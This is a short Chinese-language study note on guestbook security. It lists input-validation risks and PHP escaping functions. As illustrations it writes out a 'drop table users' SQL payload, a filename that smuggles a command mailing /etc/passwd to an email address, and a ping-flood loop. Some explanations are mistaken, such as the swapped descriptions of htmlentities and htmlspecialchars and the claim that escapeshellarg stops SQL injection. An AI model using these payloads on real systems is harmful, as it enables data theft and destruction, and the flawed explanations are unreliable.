Web安全:
1.入门 | |
1.入门
-
留言版普遍特性:
- 支持匿名提交留言
- 无论用户是否登陆,允许用户提交留言是输入用户名
- 允许用户创建账号,一旦创建账号用户可以修改查看历史留言
- 允许用户提交留言是上传小图片
- 允许管理员查看并删除用户账号以及留言内容
- 输入格式不正确是提示用户重新输入
-
可能会出现的漏洞:
面对用户出现的某些情况:输入错误、厌倦情绪、能够更胜于你的挑战、出于好奇、恶意企图……- 空白输入的处理
- 控制字符
- 非字母数据
- 超长输入
- 二进制数据
- 其他编码数据
- SQL注入
- 代码注入
- 跨站点脚本
-
构建正确的错误处理系统(比如:忽略错误,因为你不一定都能想到会出错的地方)
-
最好添加一些留言规则:
-
禁止空白输入
-
禁止大篇幅输入
-
限制一些控制符号的输入
-
想好是否允许用户输入一些HTML代码:
a. 不允许html:PHP提供了{ striptags() }函数来删除HTML标签:
$old_str="< em>HelloWorld< em>"; $new_str=striptags( $old_str ); 这里new_str=“HelloWorld”;
b.允许hmtl:PHP提供了{ htmlentities()、hmtlspecialchars() }等价的字符来替换html标记 htmlentities是htmlspecialchars的简化:前者只有 & " ’ > <这五个,后者可以替换每个HTML标记
$old_str="< em>HelloWorld< em>"; $new_str=htmlentities( $old_str ); 这里new_str="$lt;HelloWorld$gt;";
-
-
还有一个很重要的就是限制单个用户在某个时间段内发送内容的次数,防止轰炸
-
简单注入的例子:
- 留言框输入:Hello World); drop table users
- web登陆用户远程服务器创建文件名 ;mail 邮箱地址 < 文件地址
解释:
1. 定义文件名: $filename= ’ ;mail 2659098658@qq.com < /etc/passwd; ‘;
2. 操作系统执行:’ mv $filename /home/guestbook/uploads ‘;
3. 系统实际执行:’ mv; mail 2659098658@qq.com < /etc/passwd; /tmp '; - web使用ping轰炸服务器:道理同2.mail的使用
1.定义文件名:$filename = ’ mv; while(1==1){ping 服务器 ; } ';
对于命名注入的问题PHP有两个函数:escapeshellcmd()、escapeshellarg()。两个函数来对输入的字符串进行处理。
- escapeshellcmd($str);函数将str字符串在对于操作系统来说具有特殊意义的字符之间插入斜线。
s使用时注意:
setlocale(LC_CTYPE, "UTF8", "en_US.UTF-8");//防止下面的函数过滤汉字
$words = escapeshellarg($_POST['words']);//escapeshellarg()封装字符串防止sql注入
2. escapeshellarg($str);函数将str字符串封装在单引号之间,消除通配符或其他特殊字符对操作系统的影响。
- 安全工程师的核心竞争力不在于他能拥有多少个 0day,掌握多少种安全技术,而是在于他对安全理解的深度,以及由此引申的看待安全问题的角度和高度。-----吴翰清《白帽子将Web安全》